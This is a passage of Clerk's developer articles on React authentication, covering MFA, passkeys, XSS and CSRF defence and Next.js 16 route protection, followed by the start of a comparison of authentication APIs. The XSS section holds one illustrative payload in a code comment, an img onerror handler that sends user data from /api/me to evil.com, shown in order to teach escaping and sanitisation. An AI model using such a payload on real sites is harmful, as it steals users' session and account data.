    const totpResource = await createTOTP()
    if (totpResource) {
      setTotp(totpResource)
    }
  }

  const handleVerify = async () => {
    await user?.verifyTOTP({ code })
    setVerified(true)
  }

  if (verified) {
    return <p>MFA enabled.</p>
  }

  if (totp) {
    return (
      <div>
        <QRCodeSVG value={totp.uri} />
        <p>Scan this QR code with your authenticator app, then enter the code below.</p>
        <input
          type="text"
          value={code}
          onChange={(e) => setCode(e.target.value)}
          placeholder="Enter 6-digit code"
        />
        <button onClick={handleVerify}>Verify</button>
      </div>
    )
  }

  return <button onClick={handleSetup}>Set up two-factor authentication</button>
}
```

During sign-in, MFA verification looks like this:

```tsx {{ filename: 'src/components/MFAVerification.tsx' }}
import { useState } from 'react'
import { useSignIn } from '@clerk/react'
import { useNavigate } from 'react-router-dom'

export function MFAVerification() {
  const { signIn, errors, fetchStatus } = useSignIn()
  const [code, setCode] = useState('')
  const navigate = useNavigate()

  const handleVerify = async () => {
    await signIn.mfa.verifyTOTP({ code })

    if (signIn.status === 'complete') {
      await signIn.finalize({
        navigate: async ({ session, decorateUrl }) => {
          if (session?.currentTask) {
            navigate(`/post-auth/${session.currentTask.key}`)
            return
          }
          const url = decorateUrl('/')
          url.startsWith('http') ? (window.location.href = url) : navigate(url)
        },
      })
    }
  }

  return (
    <div>
      <h2>Enter your verification code</h2>
      <input
        type="text"
        value={code}
        onChange={(e) => setCode(e.target.value)}
        placeholder="6-digit code"
      />
      <button onClick={handleVerify} disabled={fetchStatus === 'fetching'}>
        Verify
      </button>
      {errors.fields.code && <p>{errors.fields.code.message}</p>}
    </div>
  )
}
```

One important nuance: in FRSecure's incident response caseload of 65 BEC cases, 79% of victims in 2024-2025 had MFA enabled ([FRSecure, 2025](https://frsecure.com/blog/token-theft-attacks-mfa-defeat/)). Token theft and adversary-in-the-middle (AiTM) attacks bypass traditional MFA methods like SMS and push notifications. This is why phishing-resistant methods like passkeys matter.

## Passkeys and WebAuthn: replacing passwords in React

Passkey adoption is accelerating. Over 1 billion people have activated passkeys, and 15 billion accounts now support them ([FIDO Alliance, 2025](https://fidoalliance.org/passkey-adoption-doubles-in-2024-more-than-15-billion-online-accounts-can-leverage-passkeys)). Success rates hit 93% vs 63% for traditional methods ([FIDO Alliance Passkey Index, 2025](https://fidoalliance.org/fido-alliance-launches-passkey-index-revealing-significant-passkey-uptake-and-business-benefits/)).

Microsoft reports passkeys are 8x faster than password+MFA ([Microsoft, 2025](https://www.microsoft.com/en-us/security/blog/2025/05/01/pushing-passkeys-forward-microsofts-latest-updates-for-simpler-safer-sign-ins/)). The FIDO Alliance measures a \~3.7x improvement comparing passkeys to other sign-in methods broadly.

Company-specific numbers: Google has 800 million accounts using passkeys, Amazon has 175 million passkeys created, and Microsoft sees 98% sign-in success with passkeys vs 32% with passwords ([FIDO Alliance, 2025](https://fidoalliance.org/fido-alliance-launches-passkey-index-revealing-significant-passkey-uptake-and-business-benefits/)). 87% of enterprises are deploying passkeys ([FIDO Alliance, 2025](https://fidoalliance.org/fido-alliance-launches-passkey-index-revealing-significant-passkey-uptake-and-business-benefits/); [HID Global, 2025](https://blog.hidglobal.com/passkey-adoption-workforce-what-numbers-say); [Dark Reading, 2025](https://www.darkreading.com/application-security/study-enterprise-passkey-adoption)). CISA recommends FIDO2/[WebAuthn](/glossary#webauthn) as the "gold standard" for phishing-resistant MFA ([CISA Fact Sheet](https://www.cisa.gov/sites/default/files/publications/fact-sheet-implementing-phishing-resistant-mfa-508c.pdf)).

**How WebAuthn works (briefly):** The server sends a random challenge. The authenticator (fingerprint sensor, face ID, or hardware key) signs it with a private key that never leaves the device. The server verifies the signature against the stored public key. Domain binding prevents phishing because the credential is tied to the exact origin.

Here's what raw WebAuthn registration looks like. This is intentionally verbose to show the API surface:

```typescript {{ filename: 'src/auth/webauthn-raw.ts' }}
// Raw WebAuthn registration (simplified, showing the complexity)
async function registerPasskey(userId: string) {
  // 1. Fetch challenge from your server
  const options = await fetch('/api/webauthn/register-options', {
    method: 'POST',
    body: JSON.stringify({ userId }),
  }).then((r) => r.json())

  // 2. Call the browser's credential API
  const credential = await navigator.credentials.create({
    publicKey: {
      challenge: Uint8Array.from(options.challenge, (c) => c.charCodeAt(0)),
      rp: { name: 'Your App', id: window.location.hostname },
      user: {
        id: Uint8Array.from(userId, (c) => c.charCodeAt(0)),
        name: options.userName,
        displayName: options.displayName,
      },
      pubKeyCredParams: [
        { type: 'public-key', alg: -7 }, // ES256
        { type: 'public-key', alg: -257 }, // RS256
      ],
      authenticatorSelection: {
        residentKey: 'required',
        userVerification: 'preferred',
      },
      timeout: 60000,
    },
  })

  // 3. Send credential to server for verification and storage
  await fetch('/api/webauthn/register-verify', {
    method: 'POST',
    body: JSON.stringify(credential),
  })
}
```

That's the simplified version. A production implementation needs attestation validation, credential storage, error handling for every browser/authenticator combination, and fallback flows.

With Clerk, passkey registration is one method call:

```tsx {{ filename: 'src/components/CreatePasskey.tsx' }}
import { useState } from 'react'
import { useUser } from '@clerk/react'

export function CreatePasskey() {
  const { user } = useUser()
  const [status, setStatus] = useState<'idle' | 'creating' | 'done'>('idle')

  const handleCreate = async () => {
    setStatus('creating')
    try {
      await user?.createPasskey()
      setStatus('done')
    } catch {
      setStatus('idle')
    }
  }

  if (status === 'done') return <p>Passkey created.</p>

  return (
    <button onClick={handleCreate} disabled={status === 'creating'}>
      {status === 'creating' ? 'Creating passkey...' : 'Add a passkey'}
    </button>
  )
}
```

Passkey sign-in with Clerk:

```tsx {{ filename: 'src/components/PasskeySignIn.tsx' }}
import { useSignIn } from '@clerk/react'
import { useNavigate } from 'react-router-dom'

export function PasskeySignIn() {
  const { signIn, errors, fetchStatus } = useSignIn()
  const navigate = useNavigate()

  const handlePasskeySignIn = async () => {
    await signIn.passkey({ flow: 'discoverable' })

    if (signIn.status === 'complete') {
      await signIn.finalize({
        navigate: async ({ session, decorateUrl }) => {
          if (session?.currentTask) {
            navigate(`/post-auth/${session.currentTask.key}`)
            return
          }
          const url = decorateUrl('/')
          url.startsWith('http') ? (window.location.href = url) : navigate(url)
        },
      })
    }
  }

  return (
    <div>
      <button onClick={handlePasskeySignIn} disabled={fetchStatus === 'fetching'}>
        Sign in with passkey
      </button>
      {errors.global?.[0] && <p>{errors.global[0].message}</p>}
    </div>
  )
}
```

Browser support: Chrome 67+, Safari 16+, Firefox 119+, Edge 79+. Cross-platform on Windows, macOS, iOS, and Android.

## Clerk Core 3 developer experience improvements

Core 3 (March 2026) redesigned how custom auth flows work in React. A few things that matter for the code in this article:

**Stateful hooks and `fetchStatus`.** `useSignIn()` and `useSignUp()` return stateful objects that trigger re-renders automatically. The hooks expose `fetchStatus` (`'idle'` | `'fetching'`) so you can show loading indicators without managing a separate boolean.

**Structured field-level errors.** `errors.fields.identifier`, `errors.fields.password`, `errors.fields.code` provide typed, field-specific error messages. Integrates cleanly with any form library.

Step methods map directly to the auth flow: `signIn.password()`, `signIn.emailCode.sendCode()`, `signIn.mfa.verifyTOTP()`, `signIn.passkey()`. Readable, discoverable, hard to misuse.

`finalize()` replaces `setActive()`. After a successful sign-in or sign-up, call `signIn.finalize()` with a `navigate` callback. The callback receives `session` (for checking `currentTask`) and `decorateUrl` (for URL decoration). This is the standard for completing auth flows in Core 3.

`useReverification()` handles sensitive actions (TOTP setup, password changes, account deletion) by requiring the user to re-authenticate before proceeding.

Session tasks via `session.currentTask` handle required post-auth steps (e.g., `setup-mfa` when MFA is mandatory). The `finalize()` callback must check for and handle these tasks.

Here's the error handling pattern in practice:

```tsx {{ filename: 'src/components/SignInForm.tsx' }}
import { useState } from 'react'
import { useSignIn } from '@clerk/react'

export function SignInForm() {
  const { signIn, errors, fetchStatus } = useSignIn()
  const [email, setEmail] = useState('')
  const [password, setPassword] = useState('')

  const handleSubmit = async (e: React.FormEvent) => {
    e.preventDefault()
    await signIn.password({ emailAddress: email, password })
    // signIn.status updates automatically, triggering re-render
  }

  return (
    <form onSubmit={handleSubmit}>
      <input value={email} onChange={(e) => setEmail(e.target.value)} />
      {errors.fields.identifier && <p>{errors.fields.identifier.message}</p>}

      <input type="password" value={password} onChange={(e) => setPassword(e.target.value)} />
      {errors.fields.password && <p>{errors.fields.password.message}</p>}

      <button disabled={fetchStatus === 'fetching'}>
        {fetchStatus === 'fetching' ? 'Signing in...' : 'Sign in'}
      </button>
    </form>
  )
}
```

See the [Core 3 Changelog](/changelog/2026-03-03-core-3) for the full list of changes.

## Preventing XSS and CSRF in React authentication

The OWASP Top 10:2025 renamed A07 to "Authentication Failures" with 36 mapped CWEs ([OWASP, 2025](https://owasp.org/Top10/2025/)). 26 billion [credential stuffing](/glossary/credential-stuffing) attempts happen every month globally ([IDDataWeb/Akamai](https://www.iddataweb.com/credential-stuffing-attacks/)).

### XSS in auth context

React auto-escapes JSX output, which prevents most XSS. But `dangerouslySetInnerHTML`, URL props (`href`, `src`), and third-party scripts remain vectors. In an auth context, XSS can steal in-memory tokens during their lifespan, exfiltrate session data via API calls, or hijack active sessions.

```tsx {{ filename: 'src/components/insecure-profile.tsx' }}
// ❌ VULNERABLE: User-controlled HTML rendered directly
export function InsecureProfile({ bio }: { bio: string }) {
  return <div dangerouslySetInnerHTML={{ __html: bio }} />
  // An attacker sets their bio to:
  // <img src=x onerror="fetch('/api/me').then(r=>r.json()).then(d=>fetch('https://evil.com/steal',{method:'POST',body:JSON.stringify(d)}))">
}
```

The fix: use React's default escaping, or sanitize with DOMPurify if you absolutely need `innerHTML`:

```tsx {{ filename: 'src/components/secure-profile.tsx' }}
// ✅ SECURE: React escapes content by default
export function SecureProfile({ bio }: { bio: string }) {
  return <div>{bio}</div>
  // React escapes <, >, &, ", ' so no script execution is possible
}
```

If you absolutely need to render user-provided HTML (e.g., output from a rich text editor), sanitize it with DOMPurify:

```tsx {{ filename: 'src/components/safe-rich-text.tsx' }}
import DOMPurify from 'dompurify'

export function SafeRichText({ html }: { html: string }) {
  return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />
}
```

### CSRF in auth context

CSRF is only a concern with cookie-based auth. If you're using `Authorization: Bearer` headers, browsers never auto-attach them cross-origin, so CSRF isn't a factor.

For cookie-based auth, the defense is layered: `SameSite=Lax` or `SameSite=Strict` cookies, plus CSRF tokens for state-changing operations. `SameSite=Lax` blocks cross-origin POST requests while allowing top-level navigations (GET), which covers most attack scenarios.

### Security checklist

- httpOnly + Secure + SameSite cookies for refresh tokens
- In-memory [access tokens](/glossary#access-token), never localStorage
- PKCE for all OAuth flows
- Short token lifetimes (15-60 min access, rotate refresh tokens)
- [Content Security Policy](/glossary#content-security-policy-csp) headers with nonces (never `unsafe-inline`)
- [Rate limiting](/glossary#rate-limiting) on login endpoints

## Authentication in Next.js 16: Server Components and proxy.ts

Next.js 16 replaced `middleware.ts` with `proxy.ts` ([Next.js Blog](https://nextjs.org/blog/next-16)). The proxy runs on the Node.js runtime (not Edge), which means it can access databases, TCP sockets, and Node APIs directly.

All rendering is dynamic by default in Next.js 16. You opt into caching with `cacheComponents: true` in your config and `"use cache"` directives. No more guessing what's static vs dynamic.

Here's Clerk's proxy.ts setup for protected routes:

```ts {{ filename: 'proxy.ts' }}
import { clerkMiddleware, createRouteMatcher } from '@clerk/nextjs/server'

const isProtectedRoute = createRouteMatcher(['/dashboard(.*)', '/settings(.*)', '/api(.*)'])

export default clerkMiddleware(async (auth, req) => {
  if (isProtectedRoute(req)) {
    await auth.protect()
  }
})
```

Server Component auth happens before any HTML reaches the client. No loading spinners, no flash of unauthorized content:

```tsx {{ filename: 'app/dashboard/page.tsx' }}
import { auth } from '@clerk/nextjs/server'
import { redirect } from 'next/navigation'

export default async function DashboardPage() {
  const { userId, orgId } = await auth()

  if (!userId) {
    redirect('/sign-in')
  }

  return (
    <div>
      <h1>Dashboard</h1>
      <p>User: {userId}</p>
      {orgId && <p>Organization: {orgId}</p>}
    </div>
  )
}
```

Server Actions verify auth before mutations. They serve as the actual security boundary:

```ts {{ filename: 'app/actions/update-profile.ts' }}
'use server'

import { auth } from '@clerk/nextjs/server'

export async function updateProfile(formData: FormData) {
  const { userId } = await auth()

  if (!userId) {
    throw new Error('Unauthorized')
  }

  const name = formData.get('name') as string
  // Perform the update with verified userId
  await db.users.update({ where: { id: userId }, data: { name } })
}
```

The layered auth pattern: proxy.ts for optimistic route protection (fast, lightweight), Server Components for per-page auth, Server Actions for per-mutation auth. Each layer adds security without depending on the others.

## Choosing an authentication platform for React

The React auth ecosystem has matured. The right choice depends on your stack, team size, and requirements.

> \[!NOTE]
> Pricing and free tier details below reflect each platform's published pricing as of March 19, 2026. Check [Clerk](/pricing), [Auth0](https://auth0.com/pricing), [Firebase](https://cloud.google.com/identity-platform/pricing), and [Supabase](https://supabase.com/pricing) pricing pages for the latest.

| Feature                                        |   Clerk  |      Auth0      | Firebase Auth |                  Supabase Auth                 | Custom |
| ---------------------------------------------- | :------: | :-------------: | :-----------: | :--------------------------------------------: | :----: |
| React SDK                                      |          |                 |               |                                                |   DIY  |
| Pre-built UI                                   |          | Universal Login |   FirebaseUI  |                                                |        |
| Social Login                                   |          |                 |               |                                                |        |
| MFA (TOTP)                                     | Pro plan |                 |    Upgrade    |                                                |        |
| Passkeys                                       |          |                 |               |                                                |        |
| Enterprise [SSO](/glossary/single-sign-on-sso) |          |                 |    Upgrade    |                      Paid                      |        |
| [Organizations](/glossary#organizations)/B2B   |          |                 |               |                     Manual                     |        |
| Next.js 16 (proxy.ts)                          |          |                 |               |                                                |        |
| Self-hosting                                   |          |                 |               |                                                |        |
| Free tier                                      |  50K MRU |     25K MAU     |    50K MAU    | 50K [MAU](/glossary#monthly-active-users-maus) |   N/A  |
| Setup complexity                               |    Low   |      Medium     |      Low      |                     Medium                     |  High  |

**A note on free tier metrics.** Clerk counts Monthly Retained Users (MRU): a user is "retained" when they return 24+ hours after signup. Other platforms count Monthly Active Users (MAU). The distinction matters for cost modeling.

**Clerk.** Purpose-built for React. Core 3 brings concurrent rendering support, \~50KB bundle savings, and redesigned hooks. 50K free MRU on the Hobby tier. MFA, custom session lifetimes, and branding removal require Pro ($25/mo, or $20/mo on annual billing). [SOC 2](/glossary#soc-2) Type II certified, HIPAA and CCPA compliant. See the [React Quickstart](/docs/react/getting-started/quickstart) to get started.

**Auth0.** Most extensible via Actions. Full proxy.ts support since SDK v4.13.0. Steeper learning curve, and pricing escalates at scale.

**Firebase Auth.** Generous 50K free MAU, tight Google ecosystem integration. Limited enterprise features without upgrading to Identity Platform. Passkey/WebAuthn PRs have been merged in the JS and iOS SDKs but there's no official documentation or GA announcement as of March 2026.

**Supabase Auth.** Open source, self-hostable, PostgreSQL-native RLS. Organization management requires manual implementation. Passkey/WebAuthn support is planned but not yet available natively as of March 2026.

**Custom/DIY.** Full control, no per-MAU costs. Significant dev time (5-6 weeks basic, 12+ months production-grade) and ongoing security burden.

## Conclusion

Authentication in React touches token security, session management, OAuth, MFA, passkeys, and XSS/CSRF prevention. Getting any piece wrong creates real vulnerability.

The managed platform ecosystem has matured. For React and Next.js teams, Clerk's component-first architecture and Core 3 SDK provide the shortest path from zero to production-grade auth.

The choice between DIY and managed depends on your team, timeline, and requirements. But the security math is clear: credential-based breaches cost $4.67M on average, higher than the $4.44M global average for all breach types ([SpyCloud/IBM, 2025](https://spycloud.com/blog/6-takeaways-from-ibm-data-breach-report-2025/)), and take 246 days to detect. Managed platforms eliminate entire categories of risk.

## Frequently asked questions

---

# The best APIs for secure user authentication
URL: https://clerk.com/articles/the-best-apis-for-secure-user-authentication.md
Date: 2026-03-20
Description: Compare 6 leading authentication APIs through a security-first lens. Covers OAuth 2.0, OIDC, zero-trust principles, passkeys, and implementation code for Clerk, Auth0, Firebase, Supabase, WorkOS, and AWS Cognito.

Twenty-two percent of confirmed data breaches in 2024 started with stolen credentials ([Verizon DBIR, 2025](https://www.verizon.com/business/resources/reports/dbir/)). In basic web application attacks, that number climbs to 88%. When credentials fail, the average cost lands at **$4.67 million** ([IBM Cost of a Data Breach, 2025](https://www.ibm.com/reports/data-breach)). The best APIs for secure user authentication are Clerk, Auth0, Firebase Auth, Supabase Auth, WorkOS, and AWS Cognito — each suited to different use cases. A provider that supports [passkeys](/glossary#passkeys) eliminates an entire class of phishing attacks that passwords can't survive, and a provider that validates sessions on every request aligns with [zero-trust](/glossary#zero-trust-architecture) principles.

This guide evaluates all six through a security-first lens: the protocols behind secure auth, zero-trust principles applied to API selection, and implementation code across Next.js, React, and Express for each provider.

## What makes an auth API "secure"?

Before comparing specific providers, it helps to nail down what "secure" actually means when applied to an authentication API. Marketing pages will claim security across the board. The criteria below strip that back to measurable, verifiable properties.

| Criteria                  | What to look for                                           | Why it matters                                                                                                                                                                                                                                                                                   |
| ------------------------- | ---------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Token architecture        | Short-lived tokens, automatic refresh, RS256/ES256 signing | Limits the exposure window if tokens are intercepted                                                                                                                                                                                                                                             |
| Protocol support          | OAuth 2.0/OIDC, SAML, FIDO2/WebAuthn                       | Covers SSO, enterprise federation, and passwordless flows                                                                                                                                                                                                                                        |
| Passkey support           | Native WebAuthn integration, discoverable credentials      | Phishing-resistant auth that eliminates credential stuffing entirely                                                                                                                                                                                                                             |
| Compliance certifications | SOC 2 Type II, GDPR, HIPAA, PCI DSS 4.0                    | Required for enterprise, healthcare, and payment applications                                                                                                                                                                                                                                    |
| Zero-trust alignment      | Per-request verification, continuous session validation    | Matches NIST SP 800-207 principles for modern architectures ([NIST, 2020](https://csrc.nist.gov/pubs/sp/800/207/final))                                                                                                                                                                          |
| Bot and ATO prevention    | Rate limiting, brute-force detection, anomaly detection    | Defends against credential stuffing, which exceeded 193 billion attempts globally in 2020 ([Akamai, 2021](https://www.prnewswire.com/news-releases/akamai-security-research-financial-services-continues-getting-bombarded-with-credential-stuffing-and-web-application-attacks-301292576.html)) |
| Developer experience      | SDK depth, prebuilt components, setup complexity           | Faster implementation reduces the time your app sits exposed with half-wired auth                                                                                                                                                                                                                |
| Free tier and pricing     | Generous free tier, transparent scaling costs              | Allows real evaluation without financial commitment or sales calls                                                                                                                                                                                                                               |

These criteria are drawn from the OWASP Authentication Cheat Sheet ([OWASP, 2024](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)), NIST SP 800-207, and the practical realities of shipping auth in production. Each provider section later in this guide maps directly back to this table.

**No single criterion is enough on its own.** A provider with [SOC 2](/glossary#soc-2) Type II but 24-hour token lifetimes has a different risk profile than one with 60-second tokens and no [SAML](/glossary#security-assertion-markup-language-saml) support. The right choice depends on your threat model.

## Understanding the auth protocol stack

One of the most common points of confusion in authentication: there's no such thing as "logging in with OAuth." [OAuth 2.0](/glossary#oauth) is an authorization framework. It handles permissions, not identity. When you click "Sign in with Google," you're actually using [OpenID Connect](/glossary#openid-connect-oidc) (OIDC), which is an identity layer built on top of OAuth 2.0.

That distinction matters when you're evaluating auth APIs, because it determines what your tokens contain, how they're validated, and what guarantees you get about the person on the other end of the request.

### OAuth 2.0, OIDC, and OAuth 2.1

|                    | OAuth 2.0 (RFC 6749)              | OpenID Connect 1.0                        | OAuth 2.1 (Draft-15)                 |
| ------------------ | --------------------------------- | ----------------------------------------- | ------------------------------------ |
| Published          | October 2012                      | February 2014                             | March 2026 (Internet-Draft)          |
| Purpose            | Authorization (access delegation) | Authentication (identity verification)    | Authorization with security defaults |
| Key artifact       | Access token                      | ID token (JWT with user claims)           | Access token                         |
| Implicit flow      | Allowed                           | Allowed                                   | **Removed**                          |
| ROPC flow          | Allowed                           | N/A                                       | **Removed**                          |
| PKCE               | Optional                          | Optional                                  | **Required for all flows**           |
| Discovery endpoint | No                                | Yes (`/.well-known/openid-configuration`) | No                                   |

OAuth 2.0 was published as RFC 6749 in 2012. It defined the Authorization Code, Implicit, Resource Owner Password Credentials (ROPC), and Client Credentials flows. Since then, security research has shown that Implicit and ROPC are unsafe for most use cases. RFC 9700, published in January 2025, formalized these findings as OAuth 2.0 Security Best Current Practice ([IETF, 2025](https://datatracker.ietf.org/doc/rfc9700/)).

**[PKCE](/glossary#code-exchange-pkce) (RFC 7636)** was originally designed to protect mobile apps from authorization code interception. It works by generating a random code verifier, hashing it with S256, and sending the hash in the authorization request. The token exchange then requires the original verifier. RFC 9700 mandates PKCE for all public clients and recommends it for confidential clients ([IETF, 2025](https://datatracker.ietf.org/doc/rfc9700/)). The OAuth 2.1 draft goes further, requiring PKCE for all clients using the authorization code flow, with a narrow exception for confidential clients that demonstrate alternative injection mitigation.

DPoP (RFC 9449) goes a step further. It sender-constrains [access tokens](/glossary#access-token) by binding them to a cryptographic key held by the client. If a token is stolen in transit, it can't be replayed from a different device. Adoption is still early, but it's worth checking whether your auth provider supports it.

**OpenID Connect** sits on top of OAuth 2.0 and adds the piece OAuth deliberately left out: identity. When a user authenticates through OIDC, the authorization server returns an ID token, a signed [JWT](/glossary#json-web-token) containing claims like `sub` (subject identifier), `email`, `name`, and `aud` (audience). The discovery endpoint at `/.well-known/openid-configuration` publishes the issuer's public keys, token endpoints, and supported scopes, which lets clients verify tokens without pre-shared secrets.

OAuth 2.1 (draft-15, March 2026) consolidates the best practices from RFC 9700 into a single specification. It removes Implicit and ROPC entirely and requires PKCE for all flows. It's still an Internet-Draft, not a finalized RFC. OAuth 3.0 doesn't exist.

Here's the practical takeaway: if your application has user login, you're using OIDC. All six APIs evaluated in this guide implement OIDC. The differences lie in how they handle token lifetimes, [session management](/glossary#session-management), and the security defaults they ship with.

## Zero-trust authentication principles

Zero trust is an architecture model defined in NIST SP 800-207 ([NIST, 2020](https://csrc.nist.gov/pubs/sp/800/207/final)) that operates on a single premise: no request is inherently trusted, regardless of where it originates.

Four principles from the framework apply directly to authentication API selection:

1. **"Never trust, always verify."** Every request must carry proof of identity. A session cookie set at login and trusted for hours doesn't meet this bar. Per-request token validation does.

2. **Per-session access with [least privilege](/glossary#least-priveledge-access).** Users and services should receive the minimum permissions needed for their current task. Tokens should encode [scopes](/glossary#oauth-scopes) tightly, not grant blanket access.

3. **Dynamic policy evaluation.** Access decisions should factor in real-time signals: device posture, location anomalies, time since last authentication. Static role checks are necessary but not sufficient.

4. **Continuous monitoring.** Session validity should be re-evaluated throughout its lifetime, not just at the moment of login. Revocation must propagate quickly.

What does this mean for choosing an auth API? [Token lifetime](/glossary#token-expiration) is the clearest differentiator. A provider that issues tokens valid for 24 hours creates a 24-hour window where a stolen token works. A provider with 60-second token lifetimes and automatic background refresh shrinks that window to under a minute. The architectural difference is significant.

Session state matters too. Some providers store session validity on the server and check it on every request. Others encode everything in the token itself and trust it until expiration. The first model lets you revoke access instantly. The second can't.

Passkeys and FIDO2/[WebAuthn](/glossary#webauthn) fit squarely into zero-trust thinking. Phishing-resistant authentication removes the most exploited attack vector (stolen credentials) from the equation entirely. No password means no password to steal.

Sixty-three percent of organizations worldwide have now implemented a zero-trust strategy ([Gartner, 2024](https://www.gartner.com/en/newsroom/press-releases/2024-04-22-gartner-survey-reveals-63-percent-of-organizations-worldwide-have-implemented-a-zero-trust-strategy)). OMB Memorandum M-22-09, issued under Executive Order 14028, requires phishing-resistant MFA for federal agency staff, contractors, and partners accessing federal systems ([OMB, 2022](https://www.whitehouse.gov/wp-content/uploads/2022/01/M-22-09.pdf)).

The next section applies these principles directly, comparing how each of the six auth APIs handles token lifetimes, session validation, passkey support, and revocation.

## The 6 best APIs for secure user authentication

### How we selected these providers

These 6 APIs were chosen based on specific criteria: developer-first API design, modern protocol support (OAuth 2.0/OIDC, FIDO2), first-party framework [SDKs](/glossary#software-development-kit-sdk) for Next.js, React, and Express, active maintenance with 2025 and 2026 updates, and relevance across B2C, B2B, and enterprise use cases. They represent the most commonly evaluated options for teams building new applications. Other notable providers (Stytch, Descope, Kinde, FusionAuth, Microsoft Entra External ID) exist but fall outside this comparison's scope due to narrower adoption, self-hosted focus, or enterprise-only positioning.

### A note on pricing models: MRU vs MAU

All prices in this article are in USD unless otherwise noted.

Before comparing free tiers, it's worth understanding how providers count users. Most competitors use [Monthly Active Users (MAU)](/glossary#monthly-active-users-maus), which counts anyone who authenticates during the month. Clerk uses [Monthly Retained Users (MRU)](/glossary#monthly-retained-users-mrus): "a user who visits your app in a given month at least one day after signing up" ([Clerk Pricing](/pricing)). Users who sign up and never return don't count toward your MRU limit. This distinction makes Clerk's 50,000 free tier effectively more generous for apps with typical trial-and-bounce patterns.

### Feature comparison

| Feature               |         Clerk         |                      Auth0                     |                 Firebase Auth                 |    Supabase Auth    |            WorkOS           |          AWS Cognito         |
| --------------------- | :-------------------: | :--------------------------------------------: | :-------------------------------------------: | :-----------------: | :-------------------------: | :--------------------------: |
| Free tier             |       50,000 MRU      |                   25,000 MAU                   |                   50,000 MAU                  |      50,000 MAU     |        1,000,000 MAU        |          10,000 MAU          |
| Native passkeys       |       Pro+ plan       |                                                |                                               |                     |                             |          Essentials+         |
| SOC 2 Type II         |                       |                                                |                Via Google Cloud               |                     |                             |            Via AWS           |
| GDPR                  |     DPF certified     |                   EU regions                   |                US servers only                |   EU region option  |                             |         DPA available        |
| HIPAA                 |       Business+       |                                                |                Via Google Cloud               |     With add-on     |          Enterprise         |         BAA required         |
| Prebuilt UI           | Embeddable components |                 Redirect-based                 |                                               | Archived (Oct 2025) |        Redirect-based       |        Redirect-based        |
| Next.js 16 (proxy.ts) |    Day-one support    |            Yes (--legacy-peer-deps)            | SSR via FirebaseServerApp (Edge incompatible) |                     |                             |     No proxy.ts guidance     |
| MFA                   |       Pro+ plan       |                   Essentials+                  |                Upgrade required               |                     |                             | TOTP free; email Essentials+ |
| Bot detection         | Built-in (Cloudflare) |        Attack Protection (Professional+)       |                                               |                     |    Device fingerprinting    |        Plus plan only        |
| Enterprise SSO        |   SAML + OIDC (Pro+)  | SAML + OIDC (B2B Essentials+, 3-5 connections) |          Upgrade to Identity Platform         |     Paid add-on     | SAML + OIDC (core strength) |   SAML + OIDC (50 MAU free)  |

*Sources: Official documentation for each provider, verified March 2026*

### Evaluation rating criteria

The token architecture comparison below uses Strong, Moderate, and Weak ratings for zero-trust alignment. Here's what each means:

| Rating       | Criteria                                                                                                                              |
| ------------ | ------------------------------------------------------------------------------------------------------------------------------------- |
| **Strong**   | Secure by default with no configuration required. Short-lived tokens, built-in protections, or zero-trust alignment out of the box.   |
| **Moderate** | Secure configuration available but requires manual setup or non-default settings. Configurable token lifetimes, optional protections. |
| **Weak**     | Limited security controls, long fixed token lifetimes, or missing protections that require third-party solutions.                     |

These ratings reflect default configurations with the following assumptions: free-tier plan unless noted, authorization code flow with PKCE, latest stable SDK version as of March 2026, and Next.js App Router for framework comparisons. All providers can be hardened with custom configuration. Your priorities will differ based on stack, scale, and compliance requirements, so weight the dimensions that matter most to your use case.

### Token architecture comparison

Token TTLs aren't directly comparable across providers because they use different token types and architectural models. This table normalizes the comparison by showing equivalent constructs.

| Dimension                  |                   Clerk                  |                 Auth0                 |         Firebase Auth        |         Supabase Auth         |        WorkOS        |             AWS Cognito            |
| -------------------------- | :--------------------------------------: | :-----------------------------------: | :--------------------------: | :---------------------------: | :------------------: | :--------------------------------: |
| Session token TTL          |         60s (auto-refresh at 50s)        |                                       |                              |                               |                      |                                    |
| Access token TTL (default) |            Uses session tokens           |      24h (86,400s, configurable)      |                              |   1h (3,600s, configurable)   |     Configurable     |   1h (configurable, 5min to 24h)   |
| ID token TTL               |                                          |      10h (36,000s, configurable)      |          1h (fixed)          |                               |                      |            Configurable            |
| Refresh behavior           |   Automatic (50s cycle, no user action)  | Refresh token rotation (configurable) | Automatic background refresh | Automatic server-side refresh |     Session-based    |     Refresh token (30d default)    |
| Revocation model           | Immediate (client token on Clerk domain) |       Token revocation endpoint       |      Firebase Admin SDK      |       Supabase Admin API      | Session invalidation | Global sign-out / token revocation |
| Zero-trust alignment       |                  Strong                  |                Moderate               |             Weak             |            Moderate           |       Moderate       |              Moderate              |

**Clerk's 60-second session token represents a fundamentally different architecture** from Auth0's 24-hour access token. Clerk separates the session token (short-lived, used for per-request validation) from the client token (long-lived, HttpOnly, stored on the application's domain as the source of truth). A stolen Clerk session token expires in under 60 seconds. A stolen Auth0 access token remains valid for up to 24 hours unless explicitly revoked ([How Clerk Works](/docs/guides/how-clerk-works/overview); [Auth0 Docs](https://auth0.com/docs/secure/tokens/access-tokens/update-access-token-lifetime)). Auth0's token lifetimes are fully configurable and can be shortened to match stricter requirements.

### Clerk

Clerk uses a hybrid auth model that separates the [session token](/glossary#session) (60s TTL, RS256-signed, auto-refreshed every 50 seconds) from a long-lived client token ([HttpOnly](/glossary#httponly-cookies) cookie on the application's domain). The client token serves as the source of truth, which means session tokens can be validated without database calls while revocation happens immediately at the source ([How Clerk Works](/docs/guides/how-clerk-works/overview)).

Security certifications include SOC 2 Type II, HIPAA (Business+ plan), and GDPR compliance via the EU-US Data Privacy Framework ([DPF certification](/changelog/2024-02-29)). [Bot detection](/glossary#bot-detection) runs through Cloudflare's CDN with [CAPTCHA](/glossary/captcha) challenges for suspected bots. Sign-in attempts are [rate-limited](/glossary#rate-limiting) to 3 per 10 seconds per IP ([system limits](/docs/guides/how-clerk-works/system-limits)), meaning brute-force attacks are throttled well before reaching the account lockout threshold of 100 failed attempts and a 1-hour cooldown ([bot protection](/docs/guides/secure/bot-protection); [user lockout](/docs/guides/secure/user-lockout)).

The developer experience starts with a 4-step [quickstart](/docs/quickstarts/nextjs) and keyless mode for instant setup. Clerk ships SDKs for 15+ platforms with prebuilt, a11y-optimized components like `<SignIn />` and `<UserButton />` ([auth strategies](/docs/guides/configure/auth-strategies/sign-up-sign-in-options)).

